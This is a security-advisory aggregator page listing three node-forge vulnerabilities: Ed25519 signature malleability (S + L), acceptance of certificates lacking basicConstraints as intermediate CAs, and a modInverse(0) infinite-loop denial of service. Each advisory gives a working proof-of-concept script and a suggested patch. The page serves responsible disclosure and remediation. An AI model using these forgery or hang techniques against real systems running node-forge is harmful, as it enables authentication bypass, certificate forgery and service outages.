Summary Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.

Impacted Deployments Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5 Affected versions: tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.

Configuration assumptions: - Default forge Ed25519 verify API path (ed25519.verify(...)).

Root Cause In lib/ed25519.js, cryptosignopen(...) uses the signature's last 32 bytes (S) directly in scalar multiplication:

javascript scalarbase(q, sm.subarray(32));

There is no prior check enforcing S < L (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where S := S + L (mod 2^256) when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.

Reproduction Steps - Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5. - Place and run the PoC script (poc.js) with node poc.js in the same level as the forge folder. - The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (crypto.verify). - Confirm output includes:

json { "forge": { "originalvalid": true, "tweakedvalid": true }, "crypto": { "originalvalid": true, "tweakedvalid": false } }

Proof of Concept

Overview: - Demonstrates a valid control signature and a forged (S + L) signature in one run. - Uses Node/OpenSSL as a differential verification baseline. - Observed output on tested commit:

text { "forge": { "originalvalid": true, "tweakedvalid": true }, "crypto": { "originalvalid": true, "tweakedvalid": false } }

<details><summary>poc.js</summary>

javascript #!/usr/bin/env node 'use strict';

const path = require('path'); const crypto = require('crypto'); const forge = require('./forge'); const ed = forge.ed25519;

const MESSAGE = Buffer.from('dderpym is the coolest man alive!');

// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032). const ED25519ORDERL = Buffer.from([ 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, ]);

// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature. // This returns a new signature with s := s + L (mod 2^256), plus the carry. function addLToS(signature) { if (!Buffer.isBuffer(signature) || signature.length !== 64) { throw new Error('signature must be a 64-byte Buffer'); } const out = Buffer.from(signature); let carry = 0; for (let i = 0; i < 32; i++) { const idx = 32 + i; // s starts at byte 32 in the 64-byte signature. const sum = out[idx] + ED25519ORDERL[i] + carry; out[idx] = sum & 0xff; carry = sum >> 8; } return { sig: out, carry }; }

function toSpkiPem(publicKeyBytes) { if (publicKeyBytes.length !== 32) { throw new Error('publicKeyBytes must be 32 bytes'); } // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM. const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]); const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]); const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]); const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]); const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n'); return -----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n; }

function verifyWithCrypto(publicKey, message, signature) { try { const keyObject = crypto.createPublicKey(toSpkiPem(publicKey)); const ok = crypto.verify(null, message, keyObject, signature); return { ok }; } catch (error) { return { ok: false, error: error.message }; } }

function toResult(label, original, tweaked) { return { [label]: { originalvalid: original.ok, tweakedvalid: tweaked.ok, }, }; }

function main() { const kp = ed.generateKeyPair(); const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey }); const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey }); const tweaked = addLToS(sig); const okTweaked = ed.verify({ message: MESSAGE, signature: tweaked.sig, publicKey: kp.publicKey, }); const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig); const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig); const result = { ...toResult('forge', { ok }, { ok: okTweaked }), ...toResult('crypto', cryptoOriginal, cryptoTweaked), }; console.log(JSON.stringify(result, null, 2)); }

main(); </details>

Suggested Patch Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if S >= L).

Here is a patch we tested on our end to resolve the issue, though please verify it on your end:

diff index f3e6faa..87eb709 100644 --- a/lib/ed25519.js +++ b/lib/ed25519.js @@ -380,6 +380,10 @@ function cryptosignopen(m, sm, n, pk) { return -1; }

+ if(!isCanonicalSignatureScalar(sm, 32)) { + return -1; + } + for(i = 0; i < n; ++i) { m[i] = sm[i]; } @@ -409,6 +413,21 @@ function cryptosignopen(m, sm, n, pk) { return mlen; }

+function isCanonicalSignatureScalar(bytes, offset) { + var i; + // Compare little-endian scalar S against group order L and require S < L. + for(i = 31; i >= 0; --i) { + if(bytes[offset + i] < L[i]) { + return true; + } + if(bytes[offset + i] > L[i]) { + return false; + } + } + // S == L is non-canonical. + return false; +} + function modL(r, x) { var carry, i, j, k; for(i = 63; i >= 32; --i) {

Resources

- RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4 - > Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l

Credit

This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.

1 / 3
Source: GitHub
First published (updated )
Severity
9.1
EPSS
0.02%
Integer Overflow
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.

Technical Details

In lib/x509.js, the verifyCertificateChain() function (around lines 3147-3199) has two conditional checks for CA authorization:

1. The keyUsage check (which includes a sub-check requiring basicConstraints to be present) is gated on keyUsageExt !== null 2. The basicConstraints.cA check is gated on bcExt !== null

When a certificate has neither extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.

RFC 5280 Section 6.1.4 step (k) requires: "If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE."

The absence of basicConstraints should result in rejection, not acceptance.

Proof of Concept

javascript const forge = require('node-forge'); const pki = forge.pki;

function generateKeyPair() { return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 }); }

console.log('=== node-forge basicConstraints Bypass PoC ===\n');

// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true) const rootKeys = generateKeyPair(); const rootCert = pki.createCertificate(); rootCert.publicKey = rootKeys.publicKey; rootCert.serialNumber = '01'; rootCert.validity.notBefore = new Date(); rootCert.validity.notAfter = new Date(); rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);

const rootAttrs = [ { name: 'commonName', value: 'Legitimate Root CA' }, { name: 'organizationName', value: 'PoC Security Test' } ]; rootCert.setSubject(rootAttrs); rootCert.setIssuer(rootAttrs); rootCert.setExtensions([ { name: 'basicConstraints', cA: true, critical: true }, { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true } ]); rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage // This certificate should NOT be allowed to sign other certificates const leafKeys = generateKeyPair(); const leafCert = pki.createCertificate(); leafCert.publicKey = leafKeys.publicKey; leafCert.serialNumber = '02'; leafCert.validity.notBefore = new Date(); leafCert.validity.notAfter = new Date(); leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);

const leafAttrs = [ { name: 'commonName', value: 'Non-CA Leaf Certificate' }, { name: 'organizationName', value: 'PoC Security Test' } ]; leafCert.setSubject(leafAttrs); leafCert.setIssuer(rootAttrs); // NO basicConstraints extension — NO keyUsage extension leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 3. Create a "victim" certificate signed by the leaf // This simulates an attacker using a non-CA cert to forge certificates const victimKeys = generateKeyPair(); const victimCert = pki.createCertificate(); victimCert.publicKey = victimKeys.publicKey; victimCert.serialNumber = '03'; victimCert.validity.notBefore = new Date(); victimCert.validity.notAfter = new Date(); victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);

const victimAttrs = [ { name: 'commonName', value: 'victim.example.com' }, { name: 'organizationName', value: 'Victim Corp' } ]; victimCert.setSubject(victimAttrs); victimCert.setIssuer(leafAttrs); victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());

// 4. Verify the chain: root -> leaf -> victim const caStore = pki.createCaStore([rootCert]);

try { const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]); console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result); console.log(' node-forge accepted a non-CA certificate as an intermediate CA!'); console.log(' This violates RFC 5280 Section 6.1.4.'); } catch (e) { console.log('[SECURE] Chain verification FAILED (expected): ' + e.message); }

Results: - Certificate with NO extensions: ACCEPTED as CA (vulnerable — violates RFC 5280) - Certificate with basicConstraints.cA=false: correctly rejected - Certificate with keyUsage (no keyCertSign): correctly rejected - Proper intermediate CA (control): correctly accepted

Attack Scenario

An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for attacker.com) that lacks basicConstraints and keyUsage extensions can use it to sign certificates for ANY domain. Any application using node-forge's verifyCertificateChain() will accept the forged chain.

This affects applications using node-forge for: - Custom PKI / certificate pinning implementations - S/MIME / PKCS#7 signature verification - IoT device certificate validation - Any non-native-TLS certificate chain verification

CVE Precedent

This is the same vulnerability class as: - CVE-2014-0092 (GnuTLS) — certificate verification bypass - CVE-2015-1793 (OpenSSL) — alternative chain verification bypass - CVE-2020-0601 (Windows CryptoAPI) — crafted certificate acceptance

Not a Duplicate

This is distinct from: - CVE-2025-12816 (ASN.1 parser desynchronization — different code path) - CVE-2025-66030/66031 (DoS and integer overflow — different issue class) - GitHub issue #1049 (null subject/issuer — different malformation)

Suggested Fix

Add an explicit check for absent basicConstraints on non-leaf certificates:

javascript // After the keyUsage check block, BEFORE the cA check: if(error === null && bcExt === null) { error = { message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.', error: pki.certificateError.badcertificate }; }

Disclosure Timeline

- 2026-03-10: Report submitted via GitHub Security Advisory - 2026-06-08: 90-day coordinated disclosure deadline

Credits

Discovered and reported by Doruk Tan Ozturk (@peaktwilight) — doruk.ch

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.04%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

A Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU. Affected Package

Package name: node-forge (npm: node-forge) Repository: https://github.com/digitalbazaar/forge Affected versions: All versions (including latest) Affected file: lib/jsbn.js, function bnModInverse() Root cause component: Bundled copy of the jsbn (JavaScript Big Number) library

Vulnerability Details

Type: Denial of Service (DoS) CWE: CWE-835 (Loop with Unreachable Exit Condition) Attack vector: Network (if the application processes untrusted input that reaches modInverse) Privileges required: None User interaction: None Impact: Availability (process hangs indefinitely) Suggested CVSS v3.1 score: 5.3–7.5 (depending on the context of usage)

Root Cause Analysis

The BigInteger.prototype.modInverse(m) function in lib/jsbn.js implements the Extended Euclidean Algorithm to compute the modular multiplicative inverse of this modulo m. Mathematically, the modular inverse of 0 does not exist — gcd(0, m) = m ≠ 1 for any m > 1. However, the implementation does not check whether the input value is zero before entering the algorithm's main loop. When this equals 0, the algorithm's loop condition is never satisfied for termination, resulting in an infinite loop. The relevant code path in lib/jsbn.js: js javascriptfunction bnModInverse(m) { // ... setup ... // No check for this == 0 // Enters Extended Euclidean Algorithm loop that never terminates when this == 0 }

Attack Scenario

Any application using node-forge that passes attacker-controlled or untrusted input to a code path involving modInverse() is vulnerable. Potential attack surfaces include:

DSA/ECDSA signature verification — A crafted signature with s = 0 would trigger s.modInverse(q), causing the verifier to hang. Custom RSA or Diffie-Hellman implementations — Applications performing modular arithmetic with user-supplied parameters. Any cryptographic protocol where an attacker can influence a value that is subsequently passed to modInverse().

A single malicious request can cause the Node.js event loop to block indefinitely, rendering the entire application unresponsive.

Proof of Concept

Environment Setup bash mkdir forge-poc && cd forge-poc npm init -y npm install node-forge Reproduction (poc.js) A single script that safely detects the vulnerability using a child process with timeout. The parent process is never at risk of hanging. bash mkdir forge-poc && cd forge-poc npm init -y npm install node-forge Save the script below as poc.js, then run: node poc.js javascript 'use strict'; const { spawnSync } = require('childprocess');

const childCode = const forge = require('node-forge'); // jsbn may not be auto-loaded; try explicit require if needed if (!forge.jsbn) { try { require('node-forge/lib/jsbn'); } catch(e) {} } if (!forge.jsbn || !forge.jsbn.BigInteger) { console.error('ERROR: forge.jsbn.BigInteger not available'); process.exit(2); } const BigInteger = forge.jsbn.BigInteger; const zero = new BigInteger('0', 10); const mod = new BigInteger('3', 10); // This call should throw or return 0, but instead loops forever const inv = zero.modInverse(mod); console.log('returned: ' + inv.toString()); ;

console.log('[] Testing: BigInteger(0).modInverse(3)'); console.log('[] Expected: throw an error or return quickly'); console.log('[] Spawning child process with 5s timeout...'); console.log();

const result = spawnSync(process.execPath, ['-e', childCode], { encoding: 'utf8', timeout: 5000, });

if (result.error && result.error.code === 'ETIMEDOUT') { console.log('[VULNERABLE] Child process timed out after 5s'); console.log(' -> modInverse(0, 3) entered an infinite loop (DoS confirmed)'); process.exit(0); }

if (result.status === 2) { console.log('[ERROR] Could not access BigInteger:', result.stderr.trim()); console.log(' -> Check your node-forge installation'); process.exit(1); }

if (result.status === 0) { console.log('[NOT VULNERABLE] modInverse returned:', result.stdout.trim()); process.exit(1); }

console.log('[NOT VULNERABLE] Child exited with error (status ' + result.status + ')'); if (result.stderr) console.log(' stderr:', result.stderr.trim()); process.exit(1); Expected Output [] Testing: BigInteger(0).modInverse(3) [] Expected: throw an error or return quickly [] Spawning child process with 5s timeout...

[VULNERABLE] Child process timed out after 5s -> modInverse(0, 3) entered an infinite loop (DoS confirmed) Verified On

node-forge v1.3.1 (latest at time of writing) Node.js v18.x / v20.x / v22.x macOS / Linux / Windows

Impact

Availability: An attacker can cause a complete Denial of Service by sending a single crafted input that reaches the modInverse() code path. The Node.js process will hang indefinitely, blocking the event loop and making the application unresponsive to all subsequent requests. Scope: node-forge is a widely used cryptographic library with millions of weekly downloads on npm. Any application that processes untrusted cryptographic parameters through node-forge may be affected.

Suggested Fix

Add a zero-value check at the entry of bnModInverse() in lib/jsbn.js: javascript function bnModInverse(m) { var ac = m.isEven(); // Add this check: if (this.signum() == 0) { throw new Error('BigInteger has no modular inverse: input is zero'); } // ... rest of the existing implementation ... } Alternatively, return BigInteger.ZERO if that behavior is preferred, though throwing an error is more mathematically correct and consistent with other BigInteger implementations (e.g., Java's BigInteger.modInverse() throws ArithmeticException).

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203